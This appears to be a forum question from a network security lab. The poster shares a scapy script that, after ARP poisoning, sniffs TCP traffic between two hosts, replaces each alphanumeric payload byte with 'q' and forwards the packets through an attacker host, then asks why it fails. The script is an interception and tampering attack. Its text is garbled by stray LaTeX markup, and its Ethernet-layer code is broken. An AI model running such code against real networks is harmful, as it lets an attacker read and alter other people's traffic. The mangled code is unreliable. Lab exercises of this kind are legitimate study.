Attempting to try ARP poisoning, the code does not change the characters from any character to q when typing. Additionally, the Ether wrapper does not work: The packets need to go from the normal hosts through the evil host

#$!/$usr$/$bin$/$env python$3$

from scapy.all import $*$

# Define the IP and MAC addresses

IP$\_$M $="10\mathrm{.}9\mathrm{.}0\mathrm{.}105"$

MAC$\_$M $="02$:$42$:$0$a:$09$:$00$:$69"$

IP$\_$A $="10\mathrm{.}9\mathrm{.}0\mathrm{.}5"$

MAC$\_$A $="02$:$42$:$0$a:$09$:$00$:$05"$

IP$\_$B $="10\mathrm{.}9\mathrm{.}0\mathrm{.}6"$

MAC$\_$B $="02$:$42$:$0$a:$09$:$00$:$06"$

def spoof$\_$pkt$($pkt$)$:

# Check if the packet is from A to B

if IP in pkt and pkt$[$IP$].$src $==$ IP$\_$A and pkt$[$IP$].$dst $==$ IP$\_$B:

# Create a new IP packet based on the original

newpkt $=$ IP$($bytes$($pkt$[$IP$]))$ # Create a new IP packet from the original

del newpkt.chksum # Remove the checksum $($it will be recalculated$)$

# Modify the TCP part if it exists

if TCP in pkt:

del newpkt$[$TCP$].$chksum # Remove the checksum

newdata $=$ bytearray$($pkt$[$TCP$].$payload.load$)$ # Get the original payload data

# Modify the payload by replacing alphanumeric characters with $\text{'}$q$\text{'}$

for i in range$($len$($newdata$))$:

if chr$($newdata$[$i$]).$isalnum$()$:

newdata$[$i$]=$ ord$(\text{'}$q$\text{'})$

# Create the new TCP segment

new$\_$tcp $=$ TCP$($dport$=$pkt$[$TCP$].$dport, sport$=$pkt$[$TCP$].$sport,

flags$=$pkt$[$TCP$].$flags, seq$=$pkt$[$TCP$].$seq,

ack$=$pkt$[$TCP$].$ack$)/$ bytes$($newdata$)$

newpkt $=$ newpkt $/$ new$\_$tcp

# Set the source and destination MAC addresses for the Ethernet frame

newpkt$[$Ether$].$src $=$ MAC$\_$M

newpkt$[$Ether$].$dst $=$ MAC$\_$B

# Send the modified packet

sendp$($Ether$()/$ newpkt, iface$=$'eth$0\text{'},$ verbose$=$False$)$

# Check if the packet is from B to A $($unmodified forwarding$)$

elif IP in pkt and pkt$[$IP$].$src $==$ IP$\_$B and pkt$[$IP$].$dst $==$ IP$\_$A:

# Create a new IP packet

newpkt $=$ IP$($bytes$($pkt$[$IP$]))$ # Create a new IP packet from the original

del newpkt.chksum # Remove the checksum

# Set the source and destination MAC addresses for the Ethernet frame

newpkt$[$Ether$].$src $=$ MAC$\_$M

newpkt$[$Ether$].$dst $=$ MAC$\_$A

# Send the unmodified packet

sendp$($Ether$()/$ newpkt, iface$=$'eth$0\text{'},$ verbose$=$False$)$

# Sniff packets, filtering out those sent from the MAC$\_$M address

f $="$tcp and not ether src $"+$ MAC$\_$M

sniff$($iface$=$"eth$0",$ filter$=$f$,$ prn$=$spoof$\_$pkt$)$